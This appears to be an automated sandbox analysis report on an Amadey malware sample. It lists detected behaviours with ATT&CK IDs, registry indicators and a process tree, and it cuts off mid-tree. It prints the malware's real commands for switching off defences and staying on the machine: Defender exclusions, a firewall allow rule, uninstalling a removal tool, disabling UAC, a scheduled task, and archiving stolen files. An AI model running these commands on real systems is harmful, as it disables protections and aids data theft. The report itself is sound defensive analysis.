amadey | bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0

Processes:

file300un.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe = "0"	file300un.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exechrosha.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	chrosha.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

106 4820 rundll32.exe
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

6304 netsh.exe
4988 netsh.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
106	4820	rundll32.exe

pid	process
6304	netsh.exe
4988	netsh.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

chrosha.exebb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrosha.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

chrosha.exeRegAsm.exeNewB.exefile300un.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	chrosha.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	NewB.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	file300un.exe

Executes dropped EXE 12 IoCs

Processes:

chrosha.exeswiiiii.exealexxxxxxxx.exepropro.exeTraffic.exegold.exeNewB.exejok.exeISetup8.exeswiiii.exetoolspub1.exefile300un.exe

pid	process
5072	chrosha.exe
1476	swiiiii.exe
716	alexxxxxxxx.exe
656	propro.exe
1648	Traffic.exe
1800	gold.exe
4536	NewB.exe
5472	jok.exe
5620	ISetup8.exe
5880	swiiii.exe
2280	toolspub1.exe
5512	file300un.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exechrosha.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Software\Wine	bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe
Key opened	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Software\Wine	chrosha.exe

Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

5092 rundll32.exe
4820 rundll32.exe
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
5092	rundll32.exe
4820	rundll32.exe

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

file300un.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe = "0"	file300un.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

Processes:

file300un.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

154 pastebin.com
152 pastebin.com
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

247 ipinfo.io
240 api.myip.com
241 api.myip.com
242 api64.ipify.org
243 api64.ipify.org
246 ipinfo.io
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exechrosha.exe

pid process

4084 bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe
5072 chrosha.exe

flow	ioc
154	pastebin.com
152	pastebin.com

flow	ioc
247	ipinfo.io
240	api.myip.com
241	api.myip.com
242	api64.ipify.org
243	api64.ipify.org
246	ipinfo.io

Suspicious use of SetThreadContext 5 IoCs

Processes:

swiiiii.exealexxxxxxxx.exegold.exeswiiii.exefile300un.exe

description	pid	process	target process
PID 1476 set thread context of 4752	1476	swiiiii.exe	RegAsm.exe
PID 716 set thread context of 2456	716	alexxxxxxxx.exe	RegAsm.exe
PID 1800 set thread context of 2116	1800	gold.exe	RegAsm.exe
PID 5880 set thread context of 5988	5880	swiiii.exe	RegAsm.exe
PID 5512 set thread context of 5772	5512	file300un.exe	installutil.exe

Drops file in Windows directory 1 IoCs

Processes:

bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe

description ioc process

File created C:\Windows\Tasks\chrosha.job bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe

description	ioc	process
File created	C:\Windows\Tasks\chrosha.job	bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
5496	sc.exe
2020	sc.exe
4648	sc.exe
2932	sc.exe
6200	sc.exe
5260	sc.exe
1060	sc.exe
4384	sc.exe
5448	sc.exe
4868	sc.exe
6492	sc.exe
4920	sc.exe
4488	sc.exe
4820	sc.exe
3828	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 7 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
460	1476	WerFault.exe	swiiiii.exe
3760	1800	WerFault.exe	gold.exe
5352	2280	WerFault.exe	toolspub1.exe
4500	5492	WerFault.exe	u4cs.0.exe
2208	5564	WerFault.exe	u4c4.0.exe
6852	5620	WerFault.exe	ISetup8.exe
2164	5644	WerFault.exe	eabJDFLtGImO3pJbxcmLjAFj.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

toolspub1.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4740 schtasks.exe
6892 schtasks.exe
3180 schtasks.exe
6424 schtasks.exe
7052 schtasks.exe

pid	process
4740	schtasks.exe
6892	schtasks.exe
3180	schtasks.exe
6424	schtasks.exe
7052	schtasks.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

propro.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	propro.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	propro.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

Processes:

bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exechrosha.exerundll32.exeTraffic.exepowershell.exeRegAsm.exe

pid	process
4084	bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe
4084	bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe
5072	chrosha.exe
5072	chrosha.exe
4820	rundll32.exe
4820	rundll32.exe
4820	rundll32.exe
4820	rundll32.exe
4820	rundll32.exe
4820	rundll32.exe
4820	rundll32.exe
4820	rundll32.exe
4820	rundll32.exe
4820	rundll32.exe
1648	Traffic.exe
1648	Traffic.exe
4860	powershell.exe
4860	powershell.exe
4860	powershell.exe
5988	RegAsm.exe
5988	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

Traffic.exepowershell.exefile300un.exeinstallutil.exe

description	pid	process
Token: SeDebugPrivilege	1648	Traffic.exe
Token: SeBackupPrivilege	1648	Traffic.exe
Token: SeSecurityPrivilege	1648	Traffic.exe
Token: SeSecurityPrivilege	1648	Traffic.exe
Token: SeSecurityPrivilege	1648	Traffic.exe
Token: SeSecurityPrivilege	1648	Traffic.exe
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeDebugPrivilege	5512	file300un.exe
Token: SeDebugPrivilege	5772	installutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrosha.exeswiiiii.exealexxxxxxxx.exeRegAsm.exegold.exerundll32.exerundll32.exeNewB.exe

description	pid	process	target process
PID 5072 wrote to memory of 1476	5072	chrosha.exe	swiiiii.exe
PID 5072 wrote to memory of 1476	5072	chrosha.exe	swiiiii.exe
PID 5072 wrote to memory of 1476	5072	chrosha.exe	swiiiii.exe
PID 1476 wrote to memory of 4752	1476	swiiiii.exe	RegAsm.exe
PID 1476 wrote to memory of 4752	1476	swiiiii.exe	RegAsm.exe
PID 1476 wrote to memory of 4752	1476	swiiiii.exe	RegAsm.exe
PID 1476 wrote to memory of 4752	1476	swiiiii.exe	RegAsm.exe
PID 1476 wrote to memory of 4752	1476	swiiiii.exe	RegAsm.exe
PID 1476 wrote to memory of 4752	1476	swiiiii.exe	RegAsm.exe
PID 1476 wrote to memory of 4752	1476	swiiiii.exe	RegAsm.exe
PID 1476 wrote to memory of 4752	1476	swiiiii.exe	RegAsm.exe
PID 1476 wrote to memory of 4752	1476	swiiiii.exe	RegAsm.exe
PID 5072 wrote to memory of 716	5072	chrosha.exe	alexxxxxxxx.exe
PID 5072 wrote to memory of 716	5072	chrosha.exe	alexxxxxxxx.exe
PID 5072 wrote to memory of 716	5072	chrosha.exe	alexxxxxxxx.exe
PID 716 wrote to memory of 2456	716	alexxxxxxxx.exe	RegAsm.exe
PID 716 wrote to memory of 2456	716	alexxxxxxxx.exe	RegAsm.exe
PID 716 wrote to memory of 2456	716	alexxxxxxxx.exe	RegAsm.exe
PID 716 wrote to memory of 2456	716	alexxxxxxxx.exe	RegAsm.exe
PID 716 wrote to memory of 2456	716	alexxxxxxxx.exe	RegAsm.exe
PID 716 wrote to memory of 2456	716	alexxxxxxxx.exe	RegAsm.exe
PID 716 wrote to memory of 2456	716	alexxxxxxxx.exe	RegAsm.exe
PID 716 wrote to memory of 2456	716	alexxxxxxxx.exe	RegAsm.exe
PID 2456 wrote to memory of 656	2456	RegAsm.exe	propro.exe
PID 2456 wrote to memory of 656	2456	RegAsm.exe	propro.exe
PID 2456 wrote to memory of 656	2456	RegAsm.exe	propro.exe
PID 2456 wrote to memory of 1648	2456	RegAsm.exe	Traffic.exe
PID 2456 wrote to memory of 1648	2456	RegAsm.exe	Traffic.exe
PID 5072 wrote to memory of 1800	5072	chrosha.exe	gold.exe
PID 5072 wrote to memory of 1800	5072	chrosha.exe	gold.exe
PID 5072 wrote to memory of 1800	5072	chrosha.exe	gold.exe
PID 1800 wrote to memory of 2116	1800	gold.exe	RegAsm.exe
PID 1800 wrote to memory of 2116	1800	gold.exe	RegAsm.exe
PID 1800 wrote to memory of 2116	1800	gold.exe	RegAsm.exe
PID 1800 wrote to memory of 2116	1800	gold.exe	RegAsm.exe
PID 1800 wrote to memory of 2116	1800	gold.exe	RegAsm.exe
PID 1800 wrote to memory of 2116	1800	gold.exe	RegAsm.exe
PID 1800 wrote to memory of 2116	1800	gold.exe	RegAsm.exe
PID 1800 wrote to memory of 2116	1800	gold.exe	RegAsm.exe
PID 1800 wrote to memory of 2116	1800	gold.exe	RegAsm.exe
PID 5072 wrote to memory of 5092	5072	chrosha.exe	rundll32.exe
PID 5072 wrote to memory of 5092	5072	chrosha.exe	rundll32.exe
PID 5072 wrote to memory of 5092	5072	chrosha.exe	rundll32.exe
PID 5092 wrote to memory of 4820	5092	rundll32.exe	rundll32.exe
PID 5092 wrote to memory of 4820	5092	rundll32.exe	rundll32.exe
PID 4820 wrote to memory of 3908	4820	rundll32.exe	netsh.exe
PID 4820 wrote to memory of 3908	4820	rundll32.exe	netsh.exe
PID 5072 wrote to memory of 4536	5072	chrosha.exe	NewB.exe
PID 5072 wrote to memory of 4536	5072	chrosha.exe	NewB.exe
PID 5072 wrote to memory of 4536	5072	chrosha.exe	NewB.exe
PID 4536 wrote to memory of 4740	4536	NewB.exe	system.exe
PID 4536 wrote to memory of 4740	4536	NewB.exe	system.exe
PID 4536 wrote to memory of 4740	4536	NewB.exe	system.exe
PID 4820 wrote to memory of 4860	4820	rundll32.exe	powershell.exe
PID 4820 wrote to memory of 4860	4820	rundll32.exe	powershell.exe
PID 5072 wrote to memory of 5472	5072	chrosha.exe	jok.exe
PID 5072 wrote to memory of 5472	5072	chrosha.exe	jok.exe
PID 5072 wrote to memory of 5472	5072	chrosha.exe	jok.exe
PID 4536 wrote to memory of 5620	4536	NewB.exe	ISetup8.exe
PID 4536 wrote to memory of 5620	4536	NewB.exe	ISetup8.exe
PID 4536 wrote to memory of 5620	4536	NewB.exe	ISetup8.exe
PID 5072 wrote to memory of 5880	5072	chrosha.exe	swiiii.exe
PID 5072 wrote to memory of 5880	5072	chrosha.exe	swiiii.exe
PID 5072 wrote to memory of 5880	5072	chrosha.exe	swiiii.exe

System policy modification 1 TTPs 1 IoCs
evasion

Modify Registry
T1112

Processes:

file300un.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" file300un.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

C:\Users\Admin\AppData\Local\Temp\bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe
"C:\Users\Admin\AppData\Local\Temp\bb299b6d3010568be489eab42692932fb6e6faf3779d8e8a14a2e6c4d9f4a0a0.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:4084

C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5072
- C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4752
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 868
    3⤵
    - Program crash
    PID:460
- C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:716
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      PID:656
  - - C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1648
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
      4⤵
      PID:5224
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:6212
- C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe
  "C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2116
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 356
    3⤵
    - Program crash
    PID:3760
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4820
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:3908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\084619521222_Desktop.zip' -CompressionLevel Optimal
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4860
- C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
  "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4740
- - C:\Users\Admin\AppData\Local\Temp\1000218001\ISetup8.exe
    "C:\Users\Admin\AppData\Local\Temp\1000218001\ISetup8.exe"
    3⤵
    - Executes dropped EXE
    PID:5620
  - - C:\Users\Admin\AppData\Local\Temp\u4c4.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u4c4.0.exe"
      4⤵
      PID:5564
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5564 -s 1020
        5⤵
        Program crash
        
        PID:2208
  - - C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe
      "C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"
      4⤵
      PID:6904
    - - C:\Users\Admin\AppData\Local\Temp\driverRemote_debug\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Local\Temp\driverRemote_debug\UniversalInstaller.exe
        5⤵
        
        PID:2120
      - C:\Users\Admin\AppData\Roaming\driverRemote_debug\UniversalInstaller.exe
        
        C:\Users\Admin\AppData\Roaming\driverRemote_debug\UniversalInstaller.exe
        6⤵
        
        PID:6680
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        7⤵
        
        PID:3408
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        8⤵
        
        PID:4980
  - - C:\Users\Admin\AppData\Local\Temp\u4c4.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u4c4.1.exe"
      4⤵
      PID:6052
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        
        PID:2344
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 1356
      4⤵
      Program crash
      PID:6852
- - C:\Users\Admin\AppData\Local\Temp\1000219001\toolspub1.exe
    "C:\Users\Admin\AppData\Local\Temp\1000219001\toolspub1.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    PID:2280
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2280 -s 360
      4⤵
      Program crash
      PID:5352
- - C:\Users\Admin\AppData\Local\Temp\1000220001\4767d2e713f2021e8fe856e3ea638b58.exe
    "C:\Users\Admin\AppData\Local\Temp\1000220001\4767d2e713f2021e8fe856e3ea638b58.exe"
    3⤵
    PID:4404
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:3680
  - - C:\Users\Admin\AppData\Local\Temp\1000220001\4767d2e713f2021e8fe856e3ea638b58.exe
      "C:\Users\Admin\AppData\Local\Temp\1000220001\4767d2e713f2021e8fe856e3ea638b58.exe"
      4⤵
      PID:6960
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:5808
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:6444
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:6304
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:6704
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:3208
- - C:\Users\Admin\AppData\Local\Temp\1000221001\FirstZ.exe
    "C:\Users\Admin\AppData\Local\Temp\1000221001\FirstZ.exe"
    3⤵
    PID:6848
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      PID:316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3480
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:228
  - - C:\Windows\system32\sc.exe
